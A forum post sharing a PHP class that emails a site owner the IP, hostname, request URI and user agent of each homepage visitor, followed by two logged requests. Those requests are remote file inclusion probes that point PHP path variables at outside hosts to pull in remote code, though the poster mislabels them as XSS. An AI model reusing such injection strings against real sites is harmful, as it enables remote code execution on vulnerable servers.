I get an email every time someone hits my homepages. I have put this code at the top of each homepage:
Quote:
<?php
require "class.Notify.php";
$mail = new Notify();
$subject = 'www.x.y.z homepage visited';
// don't send emails when browsing from localhost
// xxx.xxx.xxx.xxx == eth0 card static IP address
if ('127.0.0.1' == $_SERVER['REMOTE_ADDR']
OR 'xxx.xxx.xxx.xxx' == $_SERVER['REMOTE_ADDR']) {
echo "No mail sent!";
}
else {
$mail->notify_me($subject);
}
?>
|
The class that sends me an email each time someone lands on my homepage is:
Quote:
<?php
class Notify {
// private $DEBUG = true;
private $DEBUG = false;
private $remote_address;
private $hostname;
private $server_protocol;
private $request_uri;
private $http_user_agent;
private $subject;
private $message;
public function __construct() {
// echo "In Notify constructor <br />";
$this->remote_address = $_SERVER['REMOTE_ADDR']. "\r\n\r\n";
$this->hostname = gethostbyaddr($_SERVER['REMOTE_ADDR']). "\r\n\r\n";
$this->server_protocol = $_SERVER['SERVER_PROTOCOL'] . "\r\n\r\n";
$this->request_uri = $_SERVER['REQUEST_URI'] . "\r\n\r\n";
$this->http_user_agent = $_SERVER['HTTP_USER_AGENT'] . "\r\n\r\n";
$this->subject = 'www.x.y.z homepage visited';
$this->message = "Remote Address: " . $this->remote_address;
$this->message .= "Remote Hostname: " .$this->hostname;
$this->message .= "Server Protocol: " .$this->server_protocol;
$this->message .= "Request URI: " . $this->request_uri;
$this->message .= "User Agent: " . $this->http_user_agent;
if ($this->DEBUG) $this->showValues();
}
function showValues() {
// echo "In showValues() <br />";
echo "Remote Address: " . $this->remote_address. "<br />";
echo "Remote Hostname: " .$this->hostname. "<br />";
echo "Server Protocol: " .$this->server_protocol. "<br />";
// echo "HTTP Referer: " .$this->http_referer. "<br />";
echo "Request URI: " . $this->request_uri. "<br />";
echo "User Agent: " . $this->http_user_agent. "<br />";
echo "Subject: " . $this->subject. "<br />";
echo "<br />Message: <br />" . $this->message. "<br />";
}
//--------------------------------------------------------
function notify_me($subject) {
$to = 'me@hostname.localdomain';
$headers = 'From: webmaster@hostname' . "\r\n" .
'Reply-To: webmaster@hostname' . "\r\n" .
'X-Mailer: PHP/' . phpversion();
mail($to, $subject, $this->message, $headers);
/*
if ( mail($to, $subject, $this->message, $headers) ) {
echo "mail sent OK!";
}
else {
echo "Problem sending mail - ";
}
*/
}
}
?>
|
Interesting to see what XSS attacks are happening. Saves me having to browse through the apache logs
Some examples:
Subject:
www.x.y.z homepage visited
Remote Address: 80.91.189.9
Remote Hostname: node.seoms.net
Server Protocol: HTTP/1.1
Request URI:
///?_PHPLIB[libdir]=http://www.samjinenginc.com/board/readme.txt??
User Agent: libwww-perl/5.810
Subject:
www.x.y.z homepage visited
Remote Address: 75.127.70.4
Remote Hostname: ez19.ez-web-hosting.com
Server Protocol: HTTP/1.1
Request URI:
//?_SERVER[DOCUMENT_ROOT]=http://neu_2.lasrv-1.de/web/.v6/id.txt???
User Agent: libwww-perl/5.810